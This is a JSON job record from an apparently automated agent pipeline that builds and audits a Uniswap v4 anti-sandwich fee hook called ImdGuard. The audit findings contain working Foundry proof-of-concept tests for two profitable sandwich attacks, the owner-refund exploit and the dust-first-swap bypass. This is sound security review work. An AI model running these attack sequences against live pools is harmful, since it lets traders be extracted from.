{"assessments":[],"deployments":[],"fuzz":[],"identity":{"adapter":"0xde152afb7db5373f34876e1499fbd893a82dd336","chainId":1,"collection":"0x0000ec93127baa929e58e97dd0095a2bfb38ec1d","registry":"0x8004a169fb4a3325136eb29fa0ceb6d2e539a432"},"interpretation":"Records acceptance and evidence. Neither completion nor an AI assessment establishes correctness, safety, or independent review.","jobId":"2431b879-221f-410b-8f16-653d82dec67b","kind":"shape:chain","nodes":[{"acceptedSubmissionHash":null,"dependsOn":["build_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","tools":[]},"key":"audit_economics","kind":"code","role":"review","skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","state":"working"},{"acceptedSubmissionHash":null,"dependsOn":["build_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","tools":[]},"key":"audit_flow","kind":"code","role":"review","skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","state":"working"},{"acceptedSubmissionHash":null,"dependsOn":["build_contract_project","write_foundry_tests","manifest","audit_math","audit_permissions","audit_economics","audit_flow"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"af3aa01159bbf354f621cafa5c0006f6169e0938a8b015be508b7377dbf165bc","skillId":"audit-judge","tools":[]},"key":"audit_judge","kind":"code","role":"review","skillHash":"af3aa01159bbf354f621cafa5c0006f6169e0938a8b015be508b7377dbf165bc","skillId":"audit-judge","state":"waiting"},{"acceptedSubmissionHash":null,"dependsOn":["build_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","tools":[]},"key":"audit_math","kind":"code","role":"review","skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","state":"working"},{"acceptedSubmissionHash":"7792a79767e98c7455fbf065153d4f38c82a2e6e214ddc28c6a7d404c4354173","dependsOn":["build_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","tools":[]},"key":"audit_permissions","kind":"code","role":"review","skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"a026701c3dab925bff2398aca2e7017a8e6b842498912f5a5eb687cfeb0f972e","dependsOn":[],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"d59561da3b378461b7c749f6bd5084477d44993aa94972ddea90f542535751df","skillId":"build-contract-project","tools":[]},"key":"build_contract_project","kind":"code","role":"implement","skillHash":"d59561da3b378461b7c749f6bd5084477d44993aa94972ddea90f542535751df","skillId":"build-contract-project","state":"accepted"},{"acceptedSubmissionHash":null,"dependsOn":["build_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"tools":[]},"key":"manifest","kind":"code","role":"integrate","skillHash":null,"skillId":null,"state":"failed"},{"acceptedSubmissionHash":null,"dependsOn":["build_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"4c76766b00591dfe982fe85d3de589fdb2f810e5137c301155d1c5e36a1d3b23","skillId":"write-foundry-tests","tools":[]},"key":"write_foundry_tests","kind":"code","role":"tests","skillHash":"4c76766b00591dfe982fe85d3de589fdb2f810e5137c301155d1c5e36a1d3b23","skillId":"write-foundry-tests","state":"working"}],"objective":"Deploy one contract on Robinhood Chain: ImdGuard, a Uniswap v4 hook for the existing token 0x5f7bb59365ce557c26dbcaa4ee9d39a4b95b7127 (IMD), paired with ETH. No new token and no pool created by the launch; the creator will initialize the pool with this hook afterwards on the PoolManager passed as a constructor argument (0x8366a39CC670B4001A1121B8F6A443A643e40951).\nThe hook does exactly the following, and nothing else:\n1. Take 1.0% of the ETH side of every buy and sell as a hook fee, settled in ETH inside the swap that paid it (mint a claim when the PoolManager cannot pay it directly), and send it to my wallet. Expose claimFees() that anyone may call to redeem claims to the recipient.\n2. The owner may pause and unpause swaps. Liquidity can always be removed while paused. Expose pause() and unpause() for the owner and paused() as a view.\n3. Protect swappers from sandwich attacks: within one block, swaps against the direction of the block’s first swap execute at no better than the block’s opening price (the AntiSandwichHook pattern).\nOwner 0x5Bff2a2FEcD1d6152676813b21346238733bEAB1 may only: pause and unpause swaps, through the functions named above. No other admin function, no backend signer, no upgrade path.\nFees are always taken from the ETH (pair currency) side, never from IMD; a fee the PoolManager cannot pay directly is minted as a claim the recipient can redeem.\nTake the PoolManager as a constructor argument and enable only the callbacks the behavior above needs. The deployed address must carry the correct hook permission bits (mine a CREATE2 salt). Owner, if any, is $owner.\nKeep the function names exactly as written so the storefront can show them. Composed with The Hooks Store block builder.","parentJobId":null,"planHash":"d932e62cf345f1683f0b80d4a13017eec8635736fbebe574d6198e6f01cf8ef6","previousHash":"0000000000000000000000000000000000000000000000000000000000000000","projectId":"2431b879-221f-410b-8f16-653d82dec67b","publication":{"commit":null,"deliveredAt":null,"repoUrl":"https://github.com/identity-md-launches/launch-2426-deploy-one-contract-robinhood"},"receiptIdentity":{"adapter":"0xde152afb7db5373f34876e1499fbd893a82dd336","chainId":1,"collection":"0x0000ec93127baa929e58e97dd0095a2bfb38ec1d","registry":"0x8004a169fb4a3325136eb29fa0ceb6d2e539a432"},"registry":"0xb6d0a187b050fa5bb0b87033a203f37becf4a775","research":[],"schema":"identitymd-work-v1","signals":[{"agentId":"52129","feedbackHash":"1ed6fc04ab9a308ca6b42ef9b5078f01a2a1ff6807f2a252f77327e6df300d64","nodeKey":"audit_permissions","submissionHash":"7792a79767e98c7455fbf065153d4f38c82a2e6e214ddc28c6a7d404c4354173","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"51067","feedbackHash":"7b5107458b8a4bf972c7e1080adca4cfd91bbd2c82f40e629ad1e70eba864db0","nodeKey":"build_contract_project","submissionHash":"a026701c3dab925bff2398aca2e7017a8e6b842498912f5a5eb687cfeb0f972e","tag1":"verification:checks","tag2":"acceptance-v2","value":1}],"site":null,"snapshotHash":"f6a20d226c739c46ca1861788cbf7f0d0a5cf79e16e9eee1134682cc71236f19","state":"blocked","submissions":[{"artifacts":[],"attempt":1,"bundleHash":null,"device":"63c29c49a249ab7e","findings":[{"citation":"resolved","description":"Seam access x economics x asymmetry (Trust Gap). beforeSwap computes `protection` (the ETH difference between what the AMM leg actually paid/charged and the opening-price-capped amount the swapper gets) and _collect sends `fee + protection` to `recipient` (== immutable owner) via poolManager.take, or mints it as a claim the owner redeems with claimFees(). The brief allows exactly one economic flow to the owner wallet: 1.0% of the ETH side of each swap ('The hook does exactly the following, and nothing else'). In the AntiSandwichHook pattern the withheld surplus is returned to the pool (donated to LPs), never to an admin. Consequences: (a) on every counter-direction swap in a block, the owner wallet receives an arbitrary multiple of the 1% fee (17.6% of the ETH side in the reproduction); (b) because the owner is the recipient of the surplus the cap withholds, the cap is void for the owner: the owner can front-run a victim, back-run in the opposite direction, and get the capped surplus back through the protection payout, i.e. the one party with a privileged role is the one party the sandwich protection does not bind. docs/REVIEW.md acknowledges 'The fee recipient also receives protection adjustments' but this contradicts the approved fee rule and the guarantee in item 3. Fix preserving the design: do not pay `protection` to the recipient; return it to LPs (e.g. poolManager.donate(key, protection, 0) from the hook after the inner leg, which settles against the hook's ETH credit) and take/mint only `fee`.","line":280,"path":"src/ImdGuard.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {ImdGuard} from \"src/ImdGuard.sol\";\nimport {PoolManager} from \"@uniswap/v4-core/src/PoolManager.sol\";\nimport {IPoolManager} from \"@uniswap/v4-core/src/interfaces/IPoolManager.sol\";\nimport {IHooks} from \"@uniswap/v4-core/src/interfaces/IHooks.sol\";\nimport {TickMath} from \"@uniswap/v4-core/src/libraries/TickMath.sol\";\nimport {PoolKey} from \"@uniswap/v4-core/src/types/PoolKey.sol\";\nimport {Currency} from \"@uniswap/v4-core/src/types/Currency.sol\";\nimport {PoolSwapTest} from \"@uniswap/v4-core/src/test/PoolSwapTest.sol\";\nimport {PoolModifyLiquidityTest} from \"@uniswap/v4-core/src/test/PoolModifyLiquidityTest.sol\";\nimport {MockERC20} from \"solmate/src/test/utils/mocks/MockERC20.sol\";\n\ncontract ArbSysStub {\n    uint256 public arbBlockNumber = 100;\n}\n\ncontract ProtectionToOwnerTest is Test {\n    address constant OWNER = 0x5Bff2a2FEcD1d6152676813b21346238733bEAB1;\n    address constant IMD = 0x5F7Bb59365ce557C26dbcAa4EE9d39A4b95B7127;\n\n    IPoolManager manager;\n    ImdGuard hook;\n    PoolSwapTest router;\n    PoolModifyLiquidityTest lp;\n    PoolKey key;\n\n    function setUp() public {\n        vm.deal(address(this), 1_000_000 ether);\n        manager = IPoolManager(address(new PoolManager(address(this))));\n        vm.etch(IMD, address(new MockERC20(\"IMD\", \"IMD\", 18)).code);\n        MockERC20(IMD).mint(address(this), 1_000_000 ether);\n        vm.etch(address(100), address(new ArbSysStub()).code);\n        vm.store(address(100), bytes32(0), bytes32(uint256(100)));\n\n        bytes memory init = abi.encodePacked(type(ImdGuard).creationCode, abi.encode(manager, OWNER));\n        bytes32 h = keccak256(init);\n        bytes32 salt;\n        for (uint256 i;; ++i) {\n            address a = address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(this), bytes32(i), h)))));\n            if (uint160(a) & 0x3fff == 0x88) { salt = bytes32(i); break; }\n        }\n        hook = new ImdGuard{salt: salt}(manager, OWNER);\n\n        router = new PoolSwapTest(manager);\n        lp = new PoolModifyLiquidityTest(manager);\n        MockERC20(IMD).approve(address(router), type(uint256).max);\n        MockERC20(IMD).approve(address(lp), type(uint256).max);\n        key = PoolKey(Currency.wrap(address(0)), Currency.wrap(IMD), 3000, 60, IHooks(address(hook)));\n        manager.initialize(key, uint160(1 << 96));\n        lp.modifyLiquidity{value: 5000 ether}(\n            key, IPoolManager.ModifyLiquidityParams(-887220, 887220, 1000 ether, bytes32(0)), bytes(\"\")\n        );\n    }\n\n    /// Brief: the hook takes 1.0% of the ETH side and sends it to the owner wallet, nothing else.\n    /// A counter-direction sell in the same block sends the whole opening-price surplus to the owner too.\n    function test_recipientReceivesOnlyTheOnePercentFee() public {\n        // First swap of the block: a large buy moves the price up.\n        router.swap{value: 100 ether}(\n            key, IPoolManager.SwapParams(true, -100 ether, TickMath.MIN_SQRT_PRICE + 1),\n            PoolSwapTest.TestSettings(false, false), bytes(\"\")\n        );\n        uint256 ownerBefore = OWNER.balance;\n        uint256 managerBefore = address(manager).balance;\n        // Counter-direction sell of 1 IMD in the same block.\n        router.swap(\n            key, IPoolManager.SwapParams(false, -1 ether, TickMath.MAX_SQRT_PRICE - 1),\n            PoolSwapTest.TestSettings(false, false), bytes(\"\")\n        );\n        uint256 ethSide = managerBefore - address(manager).balance; // ETH that left the pool for this swap\n        uint256 ownerGain = OWNER.balance - ownerBefore;\n        emit log_named_uint(\"ETH leaving pool for the sell\", ethSide);\n        emit log_named_uint(\"ETH paid to owner wallet   \", ownerGain);\n        assertLe(ownerGain, ethSide / 100 + 1, \"owner wallet received more than the 1% hook fee\");\n    }\n\n\n    /// The anti-sandwich cap is void for the owner: the surplus it withholds is paid back to the owner.\n    /// Owner front-runs a victim buy, then sells back in the same block; profit exceeds the victim's 1% fee.\n    function test_ownerCannotSandwichThroughProtectionRefund() public {\n        vm.deal(OWNER, 1000 ether);\n        uint256 start = OWNER.balance;\n        vm.startPrank(OWNER);\n        MockERC20(IMD).approve(address(router), type(uint256).max);\n        router.swap{value: 200 ether}(\n            key, IPoolManager.SwapParams(true, -200 ether, TickMath.MIN_SQRT_PRICE + 1),\n            PoolSwapTest.TestSettings(false, false), bytes(\"\")\n        );\n        vm.stopPrank();\n        // victim buy, same direction as the block's first swap, so uncapped\n        router.swap{value: 100 ether}(\n            key, IPoolManager.SwapParams(true, -100 ether, TickMath.MIN_SQRT_PRICE + 1),\n            PoolSwapTest.TestSettings(false, false), bytes(\"\")\n        );\n        vm.startPrank(OWNER);\n        uint256 bag = MockERC20(IMD).balanceOf(OWNER);\n        router.swap(\n            key, IPoolManager.SwapParams(false, -int256(bag), TickMath.MAX_SQRT_PRICE - 1),\n            PoolSwapTest.TestSettings(false, false), bytes(\"\")\n        );\n        vm.stopPrank();\n        uint256 end_ = OWNER.balance;\n        emit log_named_int(\"owner net ETH after sandwich\", int256(end_) - int256(start));\n        // the victim's legitimate 1% fee is 1 ETH; anything above it is sandwich profit the hook should prevent\n        assertLe(end_, start + 1 ether, \"owner profits from sandwiching a protected swapper\");\n    }\n\n    receive() external payable {}\n}","reproduction":"Pool ETH/IMD, fee 3000, tickSpacing 60, sqrtPrice 2^96, 1000e18 full-range liquidity; L2 block 100. (1) Anyone buys exact-in 100 ETH (first swap of block, direction=buy). (2) Anyone sells exact-in 1e18 IMD in the same block. AMM leg pays out 1.202209928322459961 ETH; swapper receives 0.99 ETH; owner wallet 0x5Bff... receives 0.212209928322459961 ETH (= 17.6% of the ETH side) instead of the 1% fee 0.0120220992832246 ETH. Expected: owner gets <= 1% of the ETH side. Owner sandwich: owner buys exact-in 200 ETH, victim buys 100 ETH (same direction, uncapped), owner sells all IMD back (counter-direction, 'capped'): owner ends +30.63 ETH; the victim's legitimate 1% fee is only 1 ETH. A non-owner doing the same front/back pair is capped at the opening price and loses. Both cases are the two tests in the proof (forge test --match-path test/scratch/ProtectionToOwner.t.sol: both FAIL on current code).","severity":"high","snippet":"        uint256 amount = fee + protection;","title":"Anti-sandwich 'protection' surplus is paid to the owner/fee recipient on top of the 1% fee, so the owner takes far more than 1% and is exempt from the sandwich cap"},{"citation":"resolved","description":"Who may set the block's protected direction is unrestricted: whoever sends the first swap of the L2 block (any amount, even 1e6 wei of IMD) fixes checkpoint.zeroForOne, and only swaps against that direction are capped. A sandwicher sends a dust sell first, then the front-run buy (opposite direction, but buying from ~opening price upward so the 'no better than opening' cap barely binds), the victim's buy (cap non-binding because price is already above opening), and finally the back-run sell, which is in the same direction as the dust swap and therefore completely uncapped. The guarantee in item 3 ('Protect swappers from sandwich attacks') is lost for the price of one dust swap. docs/REVIEW.md lists first-swap influence as a limit, but the requester's guarantee is not delivered. Fixing it requires a scope decision with the requester (e.g. cap the back-run leg relative to the block opening price regardless of who opened the block, or ignore swaps below a minimum size when fixing the direction); flagged so the requester decides rather than shipping a guarantee that does not hold.","line":140,"path":"src/ImdGuard.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {ImdGuard} from \"src/ImdGuard.sol\";\nimport {PoolManager} from \"@uniswap/v4-core/src/PoolManager.sol\";\nimport {IPoolManager} from \"@uniswap/v4-core/src/interfaces/IPoolManager.sol\";\nimport {IHooks} from \"@uniswap/v4-core/src/interfaces/IHooks.sol\";\nimport {TickMath} from \"@uniswap/v4-core/src/libraries/TickMath.sol\";\nimport {PoolKey} from \"@uniswap/v4-core/src/types/PoolKey.sol\";\nimport {Currency} from \"@uniswap/v4-core/src/types/Currency.sol\";\nimport {PoolSwapTest} from \"@uniswap/v4-core/src/test/PoolSwapTest.sol\";\nimport {PoolModifyLiquidityTest} from \"@uniswap/v4-core/src/test/PoolModifyLiquidityTest.sol\";\nimport {MockERC20} from \"solmate/src/test/utils/mocks/MockERC20.sol\";\n\ncontract ArbSysStub {\n    uint256 public arbBlockNumber = 100;\n}\n\ncontract DustBypassTest is Test {\n    address constant OWNER = 0x5Bff2a2FEcD1d6152676813b21346238733bEAB1;\n    address constant MEV = address(0xBEEF);\n    address constant IMD = 0x5F7Bb59365ce557C26dbcAa4EE9d39A4b95B7127;\n\n    IPoolManager manager;\n    ImdGuard hook;\n    PoolSwapTest router;\n    PoolModifyLiquidityTest lp;\n    PoolKey key;\n\n    function setUp() public {\n        vm.deal(address(this), 1_000_000 ether);\n        manager = IPoolManager(address(new PoolManager(address(this))));\n        vm.etch(IMD, address(new MockERC20(\"IMD\", \"IMD\", 18)).code);\n        MockERC20(IMD).mint(address(this), 1_000_000 ether);\n        vm.etch(address(100), address(new ArbSysStub()).code);\n        vm.store(address(100), bytes32(0), bytes32(uint256(100)));\n\n        bytes memory init = abi.encodePacked(type(ImdGuard).creationCode, abi.encode(manager, OWNER));\n        bytes32 h = keccak256(init);\n        bytes32 salt;\n        for (uint256 i;; ++i) {\n            address a = address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(this), bytes32(i), h)))));\n            if (uint160(a) & 0x3fff == 0x88) { salt = bytes32(i); break; }\n        }\n        hook = new ImdGuard{salt: salt}(manager, OWNER);\n\n        router = new PoolSwapTest(manager);\n        lp = new PoolModifyLiquidityTest(manager);\n        MockERC20(IMD).approve(address(router), type(uint256).max);\n        MockERC20(IMD).approve(address(lp), type(uint256).max);\n        key = PoolKey(Currency.wrap(address(0)), Currency.wrap(IMD), 3000, 60, IHooks(address(hook)));\n        manager.initialize(key, uint160(1 << 96));\n        lp.modifyLiquidity{value: 5000 ether}(\n            key, IPoolManager.ModifyLiquidityParams(-887220, 887220, 1000 ether, bytes32(0)), bytes(\"\")\n        );\n    }\n\n\n    function _sw(bool buy, int256 amt) internal {\n        router.swap{value: buy ? uint256(-amt) : 0}(\n            key, IPoolManager.SwapParams(buy, amt, buy ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1),\n            PoolSwapTest.TestSettings(false, false), bytes(\"\")\n        );\n    }\n\n    /// A stranger opens the block with a 1-wei-IMD sell, so the later back-run sell is \"same direction\" and uncapped.\n    function test_dustFirstSwapDisablesSandwichCap() public {\n        vm.deal(MEV, 1000 ether);\n        vm.prank(address(this));\n        MockERC20(IMD).transfer(MEV, 1 ether);\n        vm.startPrank(MEV);\n        MockERC20(IMD).approve(address(router), type(uint256).max);\n        uint256 start = MEV.balance;\n        _sw(false, -1e6); // dust sell sets the block direction to \"sell\"\n        _sw(true, -200 ether); // front-run buy\n        vm.stopPrank();\n        _sw(true, -100 ether); // victim buy, opposite to first swap, but price already above opening\n        vm.startPrank(MEV);\n        _sw(false, -int256(MockERC20(IMD).balanceOf(MEV) - 1 ether + 1e6)); // back-run sell: same direction as dust, uncapped\n        vm.stopPrank();\n        emit log_named_int(\"stranger net ETH after sandwich\", int256(MEV.balance) - int256(start));\n        assertLe(MEV.balance, start, \"stranger profits from sandwiching a swapper in one block\");\n    }\n\n    receive() external payable {}\n}","reproduction":"Same pool as finding 1. Attacker 0xBEEF (1000 ETH, 1e18 IMD) in L2 block 100: sell exact-in 1e6 wei IMD (first swap, direction=sell); buy exact-in 200 ETH; victim buys exact-in 100 ETH; attacker sells exact-in all IMD bought. Attacker ETH: +25.35 ETH net (IMD back to start minus 1e6 wei). Expected under item 3: a one-block sandwich around the victim is unprofitable (back-run capped at opening price). Proof: forge test --match-path test/scratch/DustBypass.t.sol fails on current code.","severity":"medium","snippet":"        uint160 capPrice = checkpoint.zeroForOne != params.zeroForOne ? checkpoint.sqrtPriceX96 : 0;","title":"Any address disables the block's sandwich protection by opening the block with a dust swap in the direction it will back-run"}],"hash":"7792a79767e98c7455fbf065153d4f38c82a2e6e214ddc28c6a7d404c4354173","nodeId":"6f00ddbd-6ac0-424f-8a2d-f46c01b4d131","outcome":"completed","summary":"I found two defects in ImdGuard's permissions and fee flow. Each has a Foundry test in `test/scratch/` that fails on the current code. Both are written, with the coverage rows, to `.imd-findings.json`. I changed no project files.\n\n**1. High: the owner gets far more than the 1% fee and isn't bound by the sandwich protection** (`src/ImdGuard.sol:280`, `uint256 amount = fee + protection;`)\n- When a swap goes against the block's first direction, the hook caps it at the block's opening price. The difference it holds back (`protection`) goes to the recipient, which is the owner. The brief allows only 1% of the ETH side to go there. In the AntiSandwichHook pattern, that difference goes back to the liquidity providers instead.\n- **Over-payment:** after a 100 ETH buy, a 1 IMD sell in the same block pays the owner wallet 0.2122 ETH, which is 17.6% of the ETH side. The 1% fee should be 0.0120 ETH.\n- **Owner can sandwich:** the cap's withheld surplus comes back to the owner, so the protection doesn't apply to them. The owner buys 200 ETH, a victim buys 100 ETH, and the owner sells everything back. The owner ends 30.63 ETH up, while the victim's real 1% fee was only 1 ETH. A non-owner doing the same loses money.\n- **Fix:** send only `fee` to the recipient and donate `protection` to the pool's liquidity providers.\n\n**2. Medium: anyone can switch off the sandwich protection for a block with a tiny first swap** (`src/ImdGuard.sol:140`)\n- Whoever makes the block's first swap, of any size, decides which direction is capped. An attacker opens with a sell of 1e6 wei of IMD, then buys 200 ETH ahead of a victim's 100 ETH buy. The attacker then sells back in the same direction as that first tiny swap, so the sell is not capped. The attacker nets +25.35 ETH.\n- `docs/REVIEW.md` lists this as a known limit, but it defeats item 3 of the brief. Fixing it needs your decision, because the brief itself defines the rule as \"against the direction of the block's first swap\".\n\n**Coverage, all six entry points:**\n- **`beforeSwap`:** both findings. Its pool-manager-only, reentrancy, pause and pool-key checks hold.\n- **Held:** `cappedSwap` (only the hook itself can call it), `claimFees` (anyone can call it, but it pays only the fixed recipient, also works while paused, and can't redeem twice), `unlockCallback`, `pause` and `unpause`.\n- The owner can only pause and unpause, with no other admin function or upgrade path. Fees are only ever taken in ETH.\n- Removing liquidity while paused works, because the hook enables no liquidity callbacks.\n\nI left out the static-analysis leads after tracing each one. The \"uninitialized locals\" are deliberately zeroed. The ignored `getSlot0` values are unused fields. The reentrancy reports are covered by the shared guard and by claims burning before payout.","treeHash":null,"usage":{"cachedInputTokens":638720,"inputTokens":24,"model":"claude-opus-5-5","outputTokens":19891,"runtime":"claude","turns":13,"wallClockMs":288286}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"f20ec62b0213db3f","findings":[],"hash":"89e97dcf9242a8fbc78f432bd520ad64c33a812f9174455b0494753f5102ac6b","nodeId":"7d62c619-84aa-445f-984a-d0c1c457caa4","outcome":"failed","summary":"needs input: A change to the accepted source, which the manifest assignment may not make. ImdGuard's constructor calls Hooks.validateHookPermissions on its own address (permissions 0x0088: beforeSwap and beforeSwapReturnDelta), so it only deploys at an address whose low 14 bits are 0x0088. The evm_contracts launch deploys every manifest contract at a CREATE2 address salted by the launch number, which nobody mines, so a direct deployment of ImdGuard reverts for all but 1 salt in 16,384. The accepted source (src/) contains only ImdGuard and the OpeningPrice library: there is no launch contract that could deploy the hook with a mined salt, and launch.json may only name contracts present in the accepted source. No manifest alone can pass the launch_manifest check. — Should the accepted source be extended with a small deployer contract (for example ImdGuardDeployer, constructor arguments PoolManager 0x8366a39CC670B4001A1121B8F6A443A643e40951 and $owner, with one function deploy(bytes32 salt) that runs C","treeHash":null,"usage":{"cachedInputTokens":531291,"inputTokens":420,"model":"claude-fable-5-1","outputTokens":8654,"runtime":"claude","turns":15,"wallClockMs":371795}},{"artifacts":[],"attempt":1,"bundleHash":"f9677e90eaf59f45a0583e8baf839e8fac99eed92786134162f9c80b8146459e","device":"b0ab61c6f4146d8d","findings":[],"hash":"a026701c3dab925bff2398aca2e7017a8e6b842498912f5a5eb687cfeb0f972e","nodeId":"4e6a2954-c637-4439-ba0b-aa1525c3ea6f","outcome":"completed","summary":"Implemented ImdGuard with ETH fees and claims, pause controls, opening-price protection, and CREATE2 mining tooling. Deployment parameters and assumptions are documented in [README.md](/root/.identitymd/work/2431b879-221f-410b-8f16-653d82dec67b/4e6a2954-c637-4439-ba0b-aa1525c3ea6f/README.md).\n\nVerified:\n\n- `forge build`\n- 41 passing tests with the requested fuzz seed\n- `forge fmt --check`\n\nSwaps require full fills. No transaction was broadcast; launch must mine against its actual CREATE2 deployer address.\n\nOptional live-fork verification could not start: the RPC reported “historical state … is not available.”","treeHash":"2180fa9451bc6dc535d9f394aa8078957f8c5a0f","usage":{"cachedInputTokens":2396800,"inputTokens":130329,"model":"gpt-6-astra","outputTokens":51316,"runtime":"codex","turns":9,"wallClockMs":1425408}}],"verification":[{"checks":[{"durationMs":82057,"exitCode":0,"name":"build","output":"Compiling 81 files with Solc 0.8.26\nSolc 0.8.26 finished in 81.88s\nCompiler run successful!\n","passed":true},{"durationMs":782,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 2 tests for test/OpeningPrice.t.sol:OpeningPriceTest\n[PASS] testFuzz_conservativeRoundTripAcrossTickRange(uint128,uint160,bool) (runs: 256, μ: 13783, ~: 14070)\nLogs:\n  Bound result 11552\n  Bound result 1461446703485210103287273052203988822374428847083\n\n[PASS] test_extremePricesAgainstExactRationalVectors() (gas: 265203)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 4.42ms (4.90ms CPU time)\n\nRan 4 tests for test/Deployment.t.sol:DeploymentTest\n[PASS] test_invalidAddressBitsAreRejectedByConstructor() (gas: 2101104)\n[PASS] test_launchConfigurationMinesAndDeploysFromFactoryOnEmptyChain() (gas: 7261554)\nLogs:\n  fixture mined CREATE2 salt (not a live launch salt): 0x0000000000000000000000000000000000000000000000000000000000000841\n  fixture hook address (not a live launch address): 0xBC886ae5206507b8a2a486ce44062b14C0F70088\n\n[PASS] test_minerRejectsInvalidDeployerAndExhaustion() (gas: 2101290)\n[PASS] test_rejectZeroConstructorValues() (gas: 4180)\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 14.66ms (15.48ms CPU time)\n\nRan 8 tests for test/Settlement.t.sol:SettlementTest\n[PASS] test_claimRedeemsAvailableCashAndLeavesRemainder() (gas: 2285459)\n[PASS] test_claimReentryCannotRedeemTwice() (gas: 2247889)\n[PASS] test_claimWorksInsideSomeoneElsesUnlockAndWaitsIfNoCash() (gas: 1292218)\n[PASS] test_gasBurningRecipientCannotBlockSwap() (gas: 2212654)\n[PASS] test_managerTemporarilyHasNoEthMintsClaimInPayingSwap() (gas: 1290861)\n[PASS] test_payoutReentryCannotClaimOrSwap() (gas: 2481660)\n[PASS] test_protectionAndFeeBothFallBackToEthClaims() (gas: 2370777)\n[PASS] test_rejectingRecipientCannotBlockSwapAndFailedClaimPreservesClaims() (gas: 2305127)\nSuite result: ok. 8 passed; 0 failed; 0 skipped; finished in 74.05ms (25.81ms CPU time)\n\nRan 19 tests for test/ImdGuard.t.sol:ImdGuardTest\n[PASS] testFuzz_allModesConserveBalances(bool,bool,uint96) (runs: 256, μ: 372704, ~: 367488)\nLogs:\n  Bound result 19999999999999990618\n\n[PASS] testFuzz_reverseSwapNeverBeatsOpening(bool,bool,uint80,uint80) (runs: 256, μ: 673882, ~: 670336)\nLogs:\n  Bound result 99000000000000004896\n  Bound result 13872\n\n[PASS] test_blockZeroStillTakesCheckpoint() (gas: 401521)\n[PASS] test_buyExactInputPaysOnePercentOfEthBudget() (gas: 377349)\n[PASS] test_buyExactOutputGrossesUpEthFee() (gas: 373174)\n[PASS] test_callbacksCannotBeSpoofedAndNoExtraAdminEntrypoints() (gas: 236939)\n[PASS] test_checkpointUsesLocalL2BlockAndRetainsFirstDirection() (gas: 1059700)\n[PASS] test_counterTradeWithWorsePriceIsNotSubsidized() (gas: 1245614)\n[PASS] test_onlyOwnerCanPauseAndUnpause() (gas: 531475)\n[PASS] test_partialFillRevertsAtomicallyAndPaysNoFee() (gas: 255789)\n[PASS] test_pauseStopsAllSwapModesButAllowsLiquidityRemovalAndClaims() (gas: 736887)\n[PASS] test_permissionsAndImmutables() (gas: 58207)\n[PASS] test_reverseBuyExactInputIsCappedAtOpeningPriceWithoutImdFees() (gas: 663331)\n[PASS] test_reverseBuyExactOutputIsCappedAtOpeningPriceWithoutImdFees() (gas: 658872)\n[PASS] test_reverseSellExactInputIsCappedAtOpeningPrice() (gas: 664922)\n[PASS] test_reverseSellExactOutputIsCappedAtOpeningPrice() (gas: 666325)\n[PASS] test_sameDirectionNeverPaysProtection() (gas: 934491)\n[PASS] test_sellExactInputDeductsOnePercentOfEth() (gas: 363150)\n[PASS] test_sellExactOutputReceivesRequestedNetEth() (gas: 361071)\nSuite result: ok. 19 passed; 0 failed; 0 skipped; finished in 137.92ms (158.29ms CPU time)\n\nRan 8 tests for test/Boundaries.t.sol:BoundariesTest\n[PASS] testFuzz_manySwapsAndBlocksMaintainAccounting(uint256) (runs: 256, μ: 4966469, ~: 4967566)\n[PASS] testFuzz_nonUnitOpeningPriceCap(bool,bool,uint160,uint80) (runs: 256, μ: 1000619, ~: 1000701)\nLogs:\n  Bound result 297105609428491265975789819900\n  Bound result 999999999999911368\n\n[PASS] test_missingArbSysFailsClosed() (gas: 116294)\n[PASS] test_poolCheckpointsDoNotContaminateOtherPools() (gas: 1376147)\n[PASS] test_priceLimitAndEmptyLiquidityRevertForEveryMode() (gas: 1365680)\n[PASS] test_rejectUnrepresentableSpecifiedAmountsBeforeArithmetic() (gas: 213999)\n[PASS] test_rejectUnsupportedPairAndDynamicFees() (gas: 264560)\n[PASS] test_zeroFeeDustAndGrossUpBoundaries() (gas: 11590819)\nSuite result: ok. 8 passed; 0 failed; 0 skipped; finished in 599.94ms (722.72ms CPU time)\n\nRan 5 test suites in 600.77ms (830.99ms CPU time): 41 tests passed, 0 failed, 0 skipped (41 total 